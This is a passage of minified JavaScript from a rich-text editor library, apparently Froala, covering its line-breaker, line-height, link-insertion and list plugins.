t=r=null,a=null,n=g.doc.elementFromPoint(e.pageX-g.win.pageXOffset,e.pageY-g.win.pageYOffset);(t=n&&("HTML"==n.tagName||"BODY"==n.tagName||g.node.isElement(n)||0<=(n.getAttribute("class")||"").indexOf("fr-line-breaker"))?((a=o(e.pageX-g.win.pageXOffset,e.pageY-g.win.pageYOffset,1))||(a=d(e.pageX-g.win.pageXOffset-g.opts.lineBreakerHorizontalOffset,e.pageY-g.win.pageYOffset,"left")),a||(a=d(e.pageX-g.win.pageXOffset+g.opts.lineBreakerHorizontalOffset,e.pageY-g.win.pageYOffset,"right")),c(a)):c(n))?function s(e,t){var a,n,r=e.offset().top,i=e.offset().top+e.outerHeight();if(Math.abs(i-t)<=g.opts.lineBreakerOffset||Math.abs(t-r)<=g.opts.lineBreakerOffset)if(Math.abs(i-t)<Math.abs(t-r)){var o=null;for((n=e.get(0)).nextSibling&&(o=n.nextSibling.offsetParent?n.nextSibling:null);o&&o.nodeType==Node.TEXT_NODE&&0===o.textContent.length;)o=o.nextSibling;if(!o)return l(e,null),!0;if(a=c(o))return l(e,a),!0}else{if(!(n=e.get(0)).previousSibling)return l(null,e),!0;if(a=c(n.previousSibling))return l(a,e),!0}h.removeClass("fr-visible").removeData("instance")}(t,e.pageY):g.core.sameInstance(h)&&h.removeClass("fr-visible").removeData("instance")}function n(e){return!(h.hasClass("fr-visible")&&!g.core.sameInstance(h))&&(g.popups.areVisible()||g.el.querySelector(".fr-selected-cell")?(h.removeClass("fr-visible"),!0):void(!1!==t||g.edit.isDisabled()||(r&&clearTimeout(r),r=setTimeout(a,30,e))))}function s(){r&&clearTimeout(r),h&&h.hasClass("fr-visible")&&h.removeClass("fr-visible").removeData("instance")}var f=function f(){t=!0,s()},p=function p(){t=!1};function u(e){e.preventDefault();var t=h.data("instance")||g;h.removeClass("fr-visible").removeData("instance");var a=h.data("tag1"),n=h.data("tag2"),r=g.html.defaultTag();if(null==a)if(g.opts.keepTextFormatOnTable&&n.children().get(0)!=undefined&&"TBODY"==n.children().get(0).tagName){var i=n.find("span"),o=null!=i[i.length-1]?i[i.length-1].getAttribute("style"):null,s=null!=o?"<"+i[i.length-1].nodeName.toLowerCase()+' style="'+o+'">':"<"+n.parent().get(0).nodeName.toLowerCase()+">",l=null!=o?"</"+i[i.length-1].nodeName.toLowerCase()+">":"</"+n.parent().get(0).nodeName.toLowerCase()+">";r?n.before("<".concat(r,">").concat(s).concat(St.MARKERS,"<br>").concat(l,"</").concat(r,">")):n.before("".concat(s).concat(St.MARKERS,"<br>").concat(l))}else r&&"TD"!=n.parent().get(0).tagName&&0===n.parents(r).length?n.before("<".concat(r,">").concat(St.MARKERS,"<br></").concat(r,">")):n.before("".concat(St.MARKERS,"<br>"));else if(g.opts.keepTextFormatOnTable&&a.children().get(0)!=undefined&&"TBODY"==a.children().get(0).tagName){var c=a.find("span"),d=null!=c[c.length-1]?c[c.length-1].getAttribute("style"):null,f=null!=d?"<"+c[c.length-1].nodeName.toLowerCase()+' style="'+d+'">':"<"+a.parent().get(0).nodeName.toLowerCase()+">",p=null!=d?"</"+c[c.length-1].nodeName.toLowerCase()+">":"</"+a.parent().get(0).nodeName.toLowerCase()+">";r?a.after("<".concat(r,">").concat(f).concat(St.MARKERS,"<br>").concat(p,"</").concat(r,">")):a.after("".concat(f).concat(St.MARKERS,"<br>").concat(p))}else r&&"TD"!=a.parent().get(0).tagName&&0===a.parents(r).length?a.after("<".concat(r,">").concat(St.MARKERS,"<br></").concat(r,">")):a.after("".concat(St.MARKERS,"<br>"));t.selection.restore(),g.toolbar.enable()}return{_init:function v(){if(!g.$wp)return!1;!function e(){g.shared.$line_breaker||(g.shared.$line_breaker=m(document.createElement("div")).attr("class","fr-line-breaker").html('<a class="fr-floating-btn" role="button" tabIndex="-1" title="'.concat(g.language.translate("Break"),'"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><rect x="17" y="7" width="2" height="8"/><rect x="10" y="13" width="7" height="2"/><path d="M10.000,10.000 L10.000,18.013 L5.000,14.031 L10.000,10.000 Z"/></svg></a>'))),h=g.shared.$line_breaker,g.events.on("shared.destroy",function(){h.html("").removeData().remove(),h=null},!0),g.events.on("destroy",function(){h.removeData("instance").removeClass("fr-visible"),m("body").first().append(h),clearTimeout(r)},!0),g.events.$on(h,"mousemove",function(e){e.stopPropagation()},!0),g.events.bindClick(h,"a",u)}(),t=!1,g.events.$on(g.$win,"mousemove",n),g.events.$on(m(g.win),"scroll",s),g.events.on("popups.show.table.edit",s),g.events.on("commands.after",s),g.events.$on(m(g.win),"mousedown",f),g.events.$on(m(g.win),"mouseup",p)}}},Object.assign(St.DEFAULTS,{lineHeights:{Default:"",Single:"1",1.15:"1.15",1.5:"1.5",Double:"2"}}),St.PLUGINS.lineHeight=function(n){var s=n.$;return{_init:function e(){},apply:function r(e){n.selection.save(),n.html.wrap(!0,!0,!0,!0),n.selection.restore();var t=n.selection.blocks();t.length&&s(t[0]).parent().is("td")&&n.format.applyStyle("line-height",e.toString()),n.selection.save();for(var a=0;a<t.length;a++)s(t[a]).css("line-height",e),n.opts.enter!==St.ENTER_BR||t.length&&s(t[0]).parent().is("td")||(s(t[a]).hasClass("fr-temp-div")&&s(t[a]).removeClass("fr-temp-div"),""===s(t[a]).attr("class")&&s(t[a]).removeAttr("class")),""===s(t[a]).attr("style")&&s(t[a]).removeAttr("style");n.html.unwrap(),n.selection.restore()},refreshOnShow:function i(e,t){var a=n.selection.blocks();if(a.length){var o=s(a[0]);t.find(".fr-command").each(function(){var e=s(this).data("param1"),t=o.attr("style"),a=0<=(t||"").indexOf("line-height: "+e+";");if(t){var n=t.substring(t.indexOf("line-height")),r=n.substr(0,n.indexOf(";")),i=r&&r.split(":")[1];i&&i.length||"Default"!==o.text()||(a=!0)}t&&-1!==t.indexOf("line-height")||""!==e||(a=!0),s(this).toggleClass("fr-active",a).attr("aria-selected",a)})}}}},St.RegisterCommand("lineHeight",{type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.lineHeights;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command '.concat(a,'" tabIndex="-1" role="option" data-cmd="lineHeight" data-param1="').concat(t[a],'" title="').concat(this.language.translate(a),'">').concat(this.language.translate(a),"</a></li>"));return e+="</ul>"},title:"Line Height",callback:function(e,t){this.lineHeight.apply(t)},refreshOnShow:function(e,t){this.lineHeight.refreshOnShow(e,t)},plugin:"lineHeight"}),St.DefineIcon("lineHeight",{NAME:"arrows-v",FA5NAME:"arrows-alt-v",SVG_KEY:"lineHeight"}),Object.assign(St.POPUP_TEMPLATES,{"link.edit":"[_BUTTONS_]","link.insert":"[_BUTTONS_][_INPUT_LAYER_]"}),Object.assign(St.DEFAULTS,{linkEditButtons:["linkOpen","linkStyle","linkEdit","linkRemove"],linkInsertButtons:["linkBack","|","linkList"],linkAttributes:{},linkAutoPrefix:"http://",linkStyles:{"fr-green":"Green","fr-strong":"Thick"},linkMultipleStyles:!0,linkConvertEmailAddress:!0,linkAlwaysBlank:!1,linkAlwaysNoFollow:!1,linkNoOpener:!0,linkNoReferrer:!0,linkList:[{text:"Froala",href:"https://froala.com",target:"_blank"},{text:"Google",href:"https://google.com",target:"_blank"},{displayText:"Facebook",href:"https://facebook.com"}],linkText:!0}),St.PLUGINS.link=function(m){var v=m.$;function b(){var e=m.image?m.image.get():null;if(e||!m.$wp)return"A"==m.el.tagName?m.el:e&&e.get(0).parentNode&&"A"==e.get(0).parentNode.tagName?e.get(0).parentNode:void 0;var t=m.selection.ranges(0).commonAncestorContainer;try{t&&(t.contains&&t.contains(m.el)||!m.el.contains(t)||m.el==t)&&(t=null)}catch(o){t=null}if(t&&"A"===t.tagName)return t;var a,n,r=m.selection.element(),i=m.selection.endElement();"A"==r.tagName||m.node.isElement(r)||(r=m.opts.iframe&&null!==(a=m.markdown)&&void 0!==a&&a.isEnabled?null:v(r).parentsUntil(m.$el,"a").first().get(0));"A"==i.tagName||m.node.isElement(i)||(i=m.opts.iframe&&null!==(n=m.markdown)&&void 0!==n&&n.isEnabled?null:v(i).parentsUntil(m.$el,"a").first().get(0));try{i&&(i.contains&&i.contains(m.el)||!m.el.contains(i)||m.el==i)&&(i=null)}catch(o){i=null}try{r&&(r.contains&&r.contains(m.el)||!m.el.contains(r)||m.el==r)&&(r=null)}catch(o){r=null}return i&&i==r&&"A"==i.tagName?(m.browser.msie||m.helpers.isMobile())&&(m.selection.info(r).atEnd||m.selection.info(r).atStart)?null:r:null}function E(){var e,t,a,n,r=m.image?m.image.get():null,i=[];if(r)"A"==r.get(0).parentNode.tagName&&i.push(r.get(0).parentNode);else if(m.win.getSelection){var o=m.win.getSelection();if(o.getRangeAt&&o.rangeCount){n=m.doc.createRange();for(var s=0;s<o.rangeCount;++s)if((t=(e=o.getRangeAt(s)).commonAncestorContainer)&&1!=t.nodeType&&(t=t.parentNode),t&&"a"==t.nodeName.toLowerCase())i.push(t);else{a=t.getElementsByTagName("a");for(var l=0;l<a.length;++l)n.selectNodeContents(a[l]),n.compareBoundaryPoints(e.END_TO_START,e)<1&&-1<n.compareBoundaryPoints(e.START_TO_END,e)&&i.push(a[l])}}}else if(m.doc.selection&&"Control"!=m.doc.selection.type)if("a"==(t=(e=m.doc.selection.createRange()).parentElement()).nodeName.toLowerCase())i.push(t);else{a=t.getElementsByTagName("a"),n=m.doc.body.createTextRange();for(var c=0;c<a.length;++c)n.moveToElementText(a[c]),-1<n.compareEndPoints("StartToEnd",e)&&n.compareEndPoints("EndToStart",e)<1&&i.push(a[c])}return i}function _(r){if(m.core.hasFocus()||m.opts.iframe&&(!document.hasFocus||document.hasFocus())){if(i(),r&&"keyup"===r.type&&(r.altKey||r.which==St.KEYCODE.ALT))return!0;setTimeout(function(){if(!r||r&&(1==r.which||"mouseup"!=r.type)){var e=b(),t=m.image?m.image.get():null;if(e&&!t){if(m.image){var a=m.node.contents(e);if(1==a.length&&"IMG"==a[0].tagName){var n=m.selection.ranges(0);return 0===n.startOffset&&0===n.endOffset?v(e).before(St.INVISIBLE_SPACE+St.MARKERS):v(e).after(St.INVISIBLE_SPACE+St.MARKERS),m.selection.restore(),!1}}r&&r.stopPropagation(),o(e)}}},m.helpers.isIOS()?100:0)}}function o(e){var t=m.popups.get("link.edit");t||(t=function i(){var e="";1<=m.opts.linkEditButtons.length&&("A"==m.el.tagName&&0<=m.opts.linkEditButtons.indexOf("linkRemove")&&m.opts.linkEditButtons.splice(m.opts.linkEditButtons.indexOf("linkRemove"),1),e='<div class="fr-buttons">'.concat(m.button.buildList(m.opts.linkEditButtons),"</div>"));var t={buttons:e},a=m.popups.create("link.edit",t);m.$wp&&m.events.$on(m.$wp,"scroll.link-edit",function(){b()&&m.popups.isVisible("link.edit")&&o(b())});return a}());var a=v(e);m.popups.isVisible("link.edit")||m.popups.refresh("link.edit"),m.popups.setContainer("link.edit",m.$sc);var n=a.offset().left+a.outerWidth()/2,r=a.offset().top+a.outerHeight();m.popups.show("link.edit",n,r,a.outerHeight(),!0)}function i(){m.popups.hide("link.edit")}function l(){var e=m.popups.get("link.insert"),t=b();if(t){var a,n,r=v(t),i=e.find('input.fr-link-attr[type="text"]'),o=e.find('input.fr-link-attr[type="checkbox"]');for(a=0;a<i.length;a++)(n=v(i[a])).val(r.attr(n.attr("name")||""));for(o.attr("checked",!1),a=0;a<o.length;a++)n=v(o[a]),r.attr(n.attr("name"))==n.data("checked")&&n.attr("checked",!0);e.find('input.fr-link-attr[type="text"][name="text"]').val(r.text())}else e.find('input.fr-link-attr[type="text"]').val(""),e.find('input.fr-link-attr[type="checkbox"]').attr("checked",!1),e.find('input.fr-link-attr[type="text"][name="text"]').val(m.selection.text());e.find("input.fr-link-attr").trigger("change"),(m.image?m.image.get():null)?e.find('.fr-link-attr[name="text"]').parent().hide():e.find('.fr-link-attr[name="text"]').parent().show()}function s(e){if(e)return m.popups.onRefresh("link.insert",l),!0;var t="";1<=m.opts.linkInsertButtons.length&&(t='<div class="fr-buttons fr-tabs">'.concat(m.button.buildList(m.opts.linkInsertButtons),"</div>"));var a="",n=0;for(var r in a='<div class="fr-link-insert-layer fr-layer fr-active" id="fr-link-insert-layer-'.concat(m.id,'">'),a+='<div class="fr-input-line"><input id="fr-link-insert-layer-url-'.concat(m.id,'" name="href" type="text" class="fr-link-attr" placeholder="').concat(m.language.translate("URL"),'" tabIndex="').concat(++n,'"></div>'),m.opts.linkText&&(a+='<div class="fr-input-line"><input id="fr-link-insert-layer-text-'.concat(m.id,'" name="text" type="text" class="fr-link-attr" placeholder="').concat(m.language.translate("Text"),'" tabIndex="').concat(++n,'"></div>')),m.opts.linkAttributes)if(m.opts.linkAttributes.hasOwnProperty(r)){var i=m.opts.linkAttributes[r];a+='<div class="fr-input-line"><input name="'.concat(r,'" type="text" class="fr-link-attr" placeholder="').concat(m.language.translate(i),'" tabIndex="').concat(++n,'"></div>')}m.opts.linkAlwaysBlank||(a+='<div class="fr-checkbox-line"><span class="fr-checkbox"><input name="target" class="fr-link-attr" data-checked="_blank" type="checkbox" id="fr-link-target-'.concat(m.id,'" tabIndex="').concat(++n,'"><span>').concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>','</span></span><label id="fr-label-target-').concat(m.id,'">').concat(m.language.translate("Open in new tab"),"</label></div>"));var o={buttons:t,input_layer:a+='<div class="fr-action-buttons"><button class="fr-command fr-submit" role="button" data-cmd="linkInsert" href="#" tabIndex="'.concat(++n,'" type="button">').concat(m.language.translate("Insert"),"</button></div></div>")},s=m.popups.create("link.insert",o);return m.$wp&&m.events.$on(m.$wp,"scroll.link-insert",function(){(m.image?m.image.get():null)&&m.popups.isVisible("link.insert")&&f(),m.popups.isVisible("link.insert")&&d()}),s}function c(e,t,a){if(m.opts.trackChangesEnabled){if(m.edit.on(),m.events.focus(!0),m.undo.saveStep(),m.markers.insert(),m.html.wrap(),!m.$el.find(".fr-marker").length)return void m.popups.hide("link.insert");m.markers.remove()}if(void 0===a&&(a={}),!1===m.events.trigger("link.beforeInsert",[e,t,a]))return!1;var n=m.image?m.image.get():null;n||"A"==m.el.tagName?"A"==m.el.tagName&&m.$el.focus():(m.selection.restore(),m.popups.hide("link.insert"));var r=e;m.opts.linkConvertEmailAddress&&m.helpers.isEmail(e)&&!/^mailto:.*/i.test(e)&&(e="mailto:".concat(e));if(""===m.opts.linkAutoPrefix||new RegExp("^("+St.LinkProtocols.join("|")+"):.","i").test(e)||/^data:image.*/i.test(e)||/^(https?:|ftps?:|file:|)\/\//i.test(e)||/^([A-Za-z]:(\\){1,2}|[A-Za-z]:((\\){1,2}[^\\]+)+)(\\)?$/i.test(e)||["/","{","[","#","(",".",'"',"\\"].indexOf((e||"")[0])<0&&(e=m.opts.linkAutoPrefix+e),e=m.helpers.sanitizeURL(e),m.opts.linkAlwaysBlank&&(a.target="_blank"),m.opts.linkAlwaysNoFollow&&(a.rel="nofollow"),m.helpers.isEmail(r)&&(a.target=null,a.rel=null),"_blank"==a.target?(m.opts.linkNoOpener&&(a.rel?a.rel+=" noopener":a.rel="noopener"),m.opts.linkNoReferrer&&(a.rel?a.rel+=" noreferrer":a.rel="noreferrer")):null==a.target&&(a.rel?a.rel=a.rel.replace(/noopener/,"").replace(/noreferrer/,""):a.rel=null),t=t||"",e===m.opts.linkAutoPrefix)return m.popups.get("link.insert").find('input[name="href"]').addClass("fr-error"),m.events.trigger("link.bad",[r]),!1;var i,o=b();if(o){if((i=v(o)).attr("href",e),0<t.length&&i.text()!=t&&!n){if(m.opts.trackChangesEnabled){var s=v(i.get(0).outerHTML);s.insertBefore(i.parent());var l=m.track_changes.wrapLinkInTracking(s,m.track_changes.getPendingChanges().length-1),c=m.track_changes.wrapInDelete(l);i.parent().append(c)}for(var d=i.get(0);1===d.childNodes.length&&d.childNodes[0].nodeType==Node.ELEMENT_NODE;)d=d.childNodes[0];v(d).text(t)}for(var f in n||i.prepend(St.START_MARKER).append(St.END_MARKER),a)a[f]?i.attr(f,a[f]):i.removeAttr(f);n||m.selection.restore()}else{n?(n.wrap('<a href="'.concat(e,'"></a>')),m.image.hasCaption()&&n.parent().append(n.parents(".fr-img-caption").find(".fr-inner"))):(m.format.remove("a"),m.selection.isCollapsed()?(t=0===t.length?r:t,m.html.insert('<a href="'.concat(e,'">').concat(St.START_MARKER).concat(t.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">")).concat(St.END_MARKER,"</a>")),m.selection.restore()):0<t.length&&t!=m.selection.text().replace(/\n/g,"")?(m.selection.remove(),m.html.insert('<a href="'.concat(e,'">').concat(St.START_MARKER).concat(t.replace(/&/g,"&")).concat(St.END_MARKER,"</a>")),m.selection.restore()):(!function h(){if(!m.selection.isCollapsed()){m.selection.save();for(var e=m.$el.find(".fr-marker").addClass("fr-unprocessed").toArray();e.length;){var t=v(e.pop());t.removeClass("fr-unprocessed");var a=m.node.deepestParent(t.get(0));if(a){for(var n=t.get(0),r="",i="";n=n.parentNode,m.node.isBlock(n)||(r+=m.node.closeTagString(n),i=m.node.openTagString(n)+i),n!=a;);var o=m.node.openTagString(t.get(0))+t.html()+m.node.closeTagString(t.get(0));t.replaceWith('<span id="fr-break"></span>');var s=a.outerHTML;s=(s=s.replace(/<span id="fr-break"><\/span>/g,r+o+i)).replace(i+r,""),a.outerHTML=s}e=m.$el.find(".fr-marker.fr-unprocessed").toArray()}m.html.cleanEmptyTags(),m.selection.restore()}}(),m.format.apply("a",{href:e})));for(var p=E(),u=0;u<p.length;u++)(i=v(p[u])).attr(a),i.removeAttr("_moz_dirty");1==p.length&&m.$wp&&!n&&(v(p[0]).prepend(St.START_MARKER).append(St.END_MARKER),m.selection.restore())}if(n){var g=m.popups.get("link.insert");g&&g.find("input:focus").blur(),m.image.edit(n)}else _()}function d(){i();var e=b();if(e){var t=m.popups.get("link.insert");t||(t=s()),m.popups.isVisible("link.insert")||(m.popups.refresh("link.insert"),m.selection.save(),m.helpers.isMobile()&&(m.events.disableBlur(),m.$el.blur(),m.events.enableBlur())),m.popups.setContainer("link.insert",m.$sc);var a=(m.image?m.image.get():null)||v(e),n=a.offset().left+a.outerWidth()/2,r=a.offset().top+a.outerHeight();m.popups.show("link.insert",n,r,a.outerHeight(),!0)}}function f(){var e=m.image?m.image.getEl():null;if(e){var t=m.popups.get("link.insert"),a=e.outerWidth()/2;m.image.hasCaption()&&(e=e.find(".fr-img-wrap"),v(e)&&v(e).find("img")&&(a=v(e).find("img").outerWidth()/2)),t||(t=s()),l(),m.popups.setContainer("link.insert",m.$sc);var n=e.offset().left+a,r=e.offset().top+e.outerHeight(),i=e.outerHeight();m.opts.iframe&&m.image.hasCaption()&&v(e)&&v(e).find("img")&&(i=v(e).find("img").outerHeight()),m.popups.show("link.insert",n,r,i,!0)}}return{_init:function e(){m.events.on("keyup",function(e){e.which!=St.KEYCODE.ESC&&_(e)}),m.events.on("window.mouseup",_),m.events.$on(m.$el,"click","a",function(e){m.edit.isDisabled()&&e.preventDefault()}),m.helpers.isMobile()&&m.events.$on(m.$doc,"selectionchange",_),s(!0),"A"==m.el.tagName&&m.$el.addClass("fr-view"),m.events.on("toolbar.esc",function(){if(m.popups.isVisible("link.edit"))return m.events.disableBlur(),m.events.focus(),!1},!0)},remove:function n(){var e=b(),t=m.image?m.image.get():null;if(!1===m.events.trigger("link.beforeRemove",[e]))return!1;if(t&&e)if(m.image.hasCaption()){t.addClass("img-link-caption"),v(e).replaceWith(v(e).html());var a=document.querySelectorAll("img.img-link-caption");m.image.edit(v(a[0])),v(a[0]).removeClass("img-link-caption")}else t.unwrap(),m.image.edit(t);else e&&(m.selection.save(),v(e).replaceWith(v(e).html()),m.selection.restore(),i())},showInsertPopup:function p(){var e=m.$tb.find('.fr-command[data-cmd="insertLink"]'),t=m.popups.get("link.insert");if(t||(t=s()),!t.hasClass("fr-active"))if(m.popups.refresh("link.insert"),m.popups.setContainer("link.insert",m.$tb||m.$sc),e.isVisible()){var a=m.button.getPosition(e),n=a.left,r=a.top;m.popups.show("link.insert",n,r,e.outerHeight())}else m.position.forSelection(t),m.popups.show("link.insert")},usePredefined:function u(e){var t,a,n=m.opts.linkList[e],r=m.popups.get("link.insert"),i=r.find('input.fr-link-attr[type="text"]'),o=r.find('input.fr-link-attr[type="checkbox"]');for(n.rel&&(r.rel=n.rel),a=0;a<i.length;a++)n[(t=v(i[a])).attr("name")]?(t.val(n[t.attr("name")]),t.toggleClass("fr-not-empty",!0)):"text"!=t.attr("name")&&t.val("");for(a=0;a<o.length;a++)(t=v(o[a])).attr("checked",t.data("checked")==n[t.attr("name")]);m.accessibility.focusPopup(r)},insertCallback:function g(){var e,t,a=m.popups.get("link.insert"),n=a.find('input.fr-link-attr[type="text"]'),r=a.find('input.fr-link-attr[type="checkbox"]'),i=(n.filter('[name="href"]').val()||"").trim(),o=m.opts.linkText?n.filter('[name="text"]').val():"",s={};for(t=0;t<n.length;t++)e=v(n[t]),["href","text"].indexOf(e.attr("name"))<0&&(s[e.attr("name")]=e.val());for(t=0;t<r.length;t++)(e=v(r[t])).is(":checked")?s[e.attr("name")]=e.data("checked"):s[e.attr("name")]=e.data("unchecked")||null;a.rel&&(s.rel=a.rel);var l=m.helpers.scrollTop();c(i,o,s),v(m.o_win).scrollTop(l)},insert:c,update:d,get:b,allSelected:E,back:function t(){m.image&&m.image.get()?m.image.back():(m.events.disableBlur(),m.selection.restore(),m.events.enableBlur(),b()&&m.$wp?(m.selection.restore(),i(),_()):"A"==m.el.tagName?(m.$el.focus(),_()):(m.popups.hide("link.insert"),m.toolbar.showInline()))},imageLink:f,applyStyle:function h(e,t,a){void 0===a&&(a=m.opts.linkMultipleStyles),void 0===t&&(t=m.opts.linkStyles);var n=b();if(!n)return!1;if(!a){var r=Object.keys(t);r.splice(r.indexOf(e),1),v(n).removeClass(r.join(" "))}v(n).toggleClass(e),_()}}},St.DefineIcon("insertLink",{NAME:"link",SVG_KEY:"insertLink"}),St.RegisterShortcut(St.KEYCODE.K,"insertLink",null,"K"),St.RegisterCommand("insertLink",{title:"Insert Link",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("link.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("link.insert")):this.link.showInsertPopup()},plugin:"link"}),St.DefineIcon("linkOpen",{NAME:"external-link",FA5NAME:"external-link-alt",SVG_KEY:"openLink"}),St.RegisterCommand("linkOpen",{title:"Open Link",undo:!1,refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},callback:function(){var e=this.link.get();e&&(-1!==e.href.indexOf("mailto:")?this.o_win.open(e.href).close():(e.target||(e.target="_self"),this.browser.msie||this.browser.edge?this.o_win.open(e.href,e.target):this.o_win.open(e.href,e.target,"noopener")),this.popups.hide("link.edit"))},plugin:"link"}),St.DefineIcon("linkEdit",{NAME:"edit",SVG_KEY:"edit"}),St.RegisterCommand("linkEdit",{title:"Edit Link",undo:!1,refreshAfterCallback:!1,popup:!0,callback:function(){this.link.update()},refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},plugin:"link"}),St.DefineIcon("linkRemove",{NAME:"unlink",SVG_KEY:"unlink"}),St.RegisterCommand("linkRemove",{title:"Unlink",callback:function(){this.link.remove()},refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},plugin:"link"}),St.DefineIcon("linkBack",{NAME:"arrow-left",SVG_KEY:"back"}),St.RegisterCommand("linkBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.link.back()},refresh:function(e){var t=this.link.get()&&this.doc.hasFocus();(this.image?this.image.get():null)||t||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))},plugin:"link"}),St.DefineIcon("linkList",{NAME:"search",SVG_KEY:"search"}),St.RegisterCommand("linkList",{title:"Choose Link",type:"dropdown",focus:!1,undo:!1,refreshAfterCallback:!1,html:function(){for(var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.linkList,a=0;a<t.length;a++)e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="linkList" data-param1="'.concat(a,'">').concat(t[a].displayText||t[a].text,"</a></li>");return e+="</ul>"},callback:function(e,t){this.link.usePredefined(t)},plugin:"link"}),St.RegisterCommand("linkInsert",{focus:!1,refreshAfterCallback:!1,callback:function(){this.link.insertCallback()},refresh:function(e){this.link.get()?e.text(this.language.translate("Update")):e.text(this.language.translate("Insert"))},plugin:"link"}),St.DefineIcon("imageLink",{NAME:"link",SVG_KEY:"insertLink"}),St.RegisterCommand("imageLink",{title:"Insert Link",undo:!1,focus:!1,popup:!0,callback:function(){this.link.imageLink()},refresh:function(e){var t;this.link.get()?((t=e.prev()).hasClass("fr-separator")&&t.removeClass("fr-hidden"),e.addClass("fr-hidden")):((t=e.prev()).hasClass("fr-separator")&&t.addClass("fr-hidden"),e.removeClass("fr-hidden"))},plugin:"link"}),St.DefineIcon("linkStyle",{NAME:"magic",SVG_KEY:"linkStyles"}),St.RegisterCommand("linkStyle",{title:"Style",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.linkStyles;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="linkStyle" data-param1="'.concat(a,'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.link.applyStyle(t)},refreshOnShow:function(e,t){var a=this.$,n=this.link.get();if(n){var r=a(n);t.find(".fr-command").each(function(){var e=a(this).data("param1"),t=r.hasClass(e);a(this).toggleClass("fr-active",t).attr("aria-selected",t)})}},refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},plugin:"link"}),Object.assign(St.DEFAULTS,{listAdvancedTypes:!0}),St.PLUGINS.lists=function(g){var h=g.$;function m(e){return'<span class="fr-open-'.concat(e.toLowerCase(),'"></span>')}function v(e){return'<span class="fr-close-'.concat(e.toLowerCase(),'"></span>')}function c(e,t){!function c(e,t){for(var a=[],n=0;n<e.length;n++){var r=e[n].parentNode;"LI"==e[n].tagName&&r.tagName!=t&&a.indexOf(r)<0&&a.push(r)}for(var i=a.length-1;0<=i;i--){var o=h(a[i]);o.replaceWith("<".concat(t.toLowerCase()," ").concat(g.node.attributes(o.get(0)),">").concat(o.html(),"</").concat(t.toLowerCase(),">"))}}(e,t);var a,n=g.html.defaultTag(),r=null;e.length&&(a="rtl"==g.opts.direction||"rtl"==h(e[0]).css("direction")?"margin-right":"margin-left");for(var i=0;i<e.length;i++)if("TD"!=e[i].tagName&&"TH"!=e[i].tagName&&"LI"!=e[i].tagName){var o=g.helpers.getPX(h(e[i]).css(a))||0;(e[i].style.marginLeft=null)===r&&(r=o);var s=0<r?"<".concat(t,' style="').concat(a,": ").concat(r,'px ">'):"<".concat(t,">"),l="</".concat(t,">");for(o-=r;0<o/g.opts.indentMargin;)s+="</".concat(t,">"),l+=l,o-=g.opts.indentMargin;n&&e[i].tagName.toLowerCase()==n?h(e[i]).replaceWith("".concat(s,"<li").concat(g.node.attributes(e[i]),">").concat(h(e[i]).html(),"</li>").concat(l)):h(e[i]).wrap("".concat(s,"<li></li>").concat(l))}g.clean.lists()}function d(e){var t,a,n=[];for(t=e.length-1;0<=t;t--)for(a=t-1;0<=a;a--){if(h(e[a]).find(e[t]).length||e[a]==e[t]){h(e[t]).addClass("fr-removed-block-".concat(t)),n.push(t),e.splice(t,1);break}if(h(e[a]).contains(e[t])){h(e[a]).addClass("fr-removed-block-".concat(a)),n.push(a),e.splice(a,1);break}}var r=[],i=!1;for(t=0;t<e.length;t++){var o=h(e[t]),s=e[t].parentNode,l=o.attr("class");if(o.is(":first-child")&&(i=!0,h(s.parentNode).removeAttr("start")),o.before(v(s.tagName)),"LI"==s.parentNode.tagName){if(o.is(":last-child")){var c=o.find("> ul, > ol").last();c.length&&c.wrap("<".concat(s.tagName,">"))}o.before(v("LI")),o.after(m("LI"))}else if("OL"==s.parentNode.tagName)i||(o.before(v("OL")),o.after(m("OL")));else if("UL"==s.parentNode.tagName)i||(o.before(v("UL")),o.after(m("UL")));else{var d="";l&&(d+=' class="'.concat(l,'"'));var f="rtl"==g.opts.direction||"rtl"==o.css("direction")?"margin-right":"margin-left";g.helpers.getPX(h(s).css(f))&&0<=(h(s).attr("style")||"").indexOf("".concat(f,":"))&&(d+=' style="'.concat(f,":").concat(g.helpers.getPX(h(s).css(f)),'px;"')),g.html.defaultTag()&&0===o.find(g.html.blockTagsQuery()).length&&o.wrapInner(g.html.defaultTag()+d),g.node.isEmpty(o.get(0),!0)||0!==o.find(g.html.blockTagsQuery()).length||("DIV"==s.parentNode.tagName&&g.html.defaultTag()?(o.prepend(m(g.html.defaultTag())),o.append(v(g.html.defaultTag()))):o.append("<br>")),o.append(m("LI")),o.prepend(v("LI"))}o.after(m(s.tagName)),"LI"==s.parentNode.tagName&&(s=s.parentNode.parentNode),r.indexOf(s)<0&&r.push(s)}for(t=0;t<r.length;t++){var p=h(r[t]),u=p.html();u=(u=u.replace(/<span class="fr-close-([a-z]*)"><\/span>/g,"</$1>")).replace(/<span 